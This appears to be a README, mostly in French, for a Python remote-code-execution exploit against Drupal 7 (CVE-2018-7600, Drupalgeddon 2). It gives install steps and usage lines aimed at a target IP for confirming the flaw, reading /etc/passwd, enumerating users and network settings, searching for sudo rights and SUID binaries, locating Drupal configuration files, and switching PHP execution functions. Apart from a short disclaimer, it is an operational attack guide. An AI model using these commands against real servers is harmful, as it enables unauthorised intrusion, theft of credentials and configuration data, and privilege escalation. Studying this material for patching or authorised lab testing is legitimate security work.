
Exploit Python pour CVE-2018-7600 (Drupalgeddon 2) permettant l'exécution de code à distance sur Drupal 7 avec plusieurs méthodes d'injection et des commandes prédéfinies pour Linux et Windows.
bixi.pybixi.py est un exploit pour la vulnérabilité CVE‑2018‑7600 (Drupalgeddon 2) qui affecte Drupal 7.
Il permet l'exécution de commandes à distance (RCE) sur des serveurs Drupal vulnérables via une interface intuitive et des commandes prédéfinies.
CE LOGICIEL EST UNIQUEMENT À DES FINS ÉDUCATIVES ET DE RECHERCHE DANS DES ENVIRONNEMENTS CONTRÔLÉS.
"With great power comes great responsibility"
system, passthru, exec, shell_exec)git clone https://github.com/bixiPRO/Drupalgeddon2-CVE-2018-7600.git
cd Drupalgeddon2-CVE-2018-7600
# Kali / Debian / Ubuntu
sudo apt update
sudo apt install python3 python3-pip -y
pip3 install requests
# Otras distribuciones
pip3 install requests
chmod +x bixi.py
python3 bixi.py --help
python3 bixi.py <URL> <COMANDO/PALABRA_CLAVE> [INJECTION_TYPE]
# Verificar vulnerabilidad
python3 bixi.py http://10.99.99.6/drupal/ test
# Detectar sistema operativo
python3 bixi.py http://10.99.99.6/drupal/ linux
python3 bixi.py http://10.99.99.6/drupal/ windows
# Enumerar usuarios
python3 bixi.py http://10.99.99.6/drupal/ users_linux
python3 bixi.py http://10.99.99.6/drupal/ net_user
# Información del sistema
python3 bixi.py http://10.99.99.6/drupal/ ifconfig
python3 bixi.py http://10.99.99.6/drupal/ ipconfig
# Comandos personalizados
python3 bixi.py http://10.99.99.6/drupal/ "cat /etc/passwd"
python3 bixi.py http://10.99.99.6/drupal/ "whoami /all"
| Commande | Description |
|---|---|
| linux | Informations système |
| users_linux | Lister les utilisateurs |
| id | Infos utilisateur/groupes |
| ls | Lister les fichiers |
| ifconfig | Infos réseau |
| find_flag | Rechercher des flags |
| Commande | Description |
|---|---|
| windows | Informations système |
| net_user | Lister les utilisateurs |
| whoami_win | Infos détaillées |
| ipconfig | Réseau |
| netstat_win | Connexions |
| dir | Lister le répertoire |
| Commande | Description |
|---|---|
| sudo | Vérifier les privilèges sudo |
| suid | Rechercher les binaires SUID |
| net_localgroup | Groupes locaux |
| drupal_config | Rechercher les configurations |
| drupal_version | Obtenir la version de Drupal |
# system (default)
python3 bixi.py http://target/ "whoami" system
# passthru
python3 bixi.py http://target/ "whoami" passthru
# exec
python3 bixi.py http://target/ "whoami" exec
# shell_exec
python3 bixi.py http://target/ "whoami" shell_exec
drupalgeddon2-exploit/
│
├── bixi.py
├── README.md
├── requirements.txt
├── examples/
│ ├── linux_commands.txt
│ └── windows_commands.txt
└── screenshots/
├── help_screen.png
└── exploit_success.png
proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080'
}
Modifier la valeur par défaut (15 secondes) :
timeout=15
Modifier le dictionnaire commands dans get_command_for_keyword().
pip3 install requests
# Verificar conectividad
ping TARGET_IP
# Verificar ruta Drupal
curl http://TARGET_IP/drupal/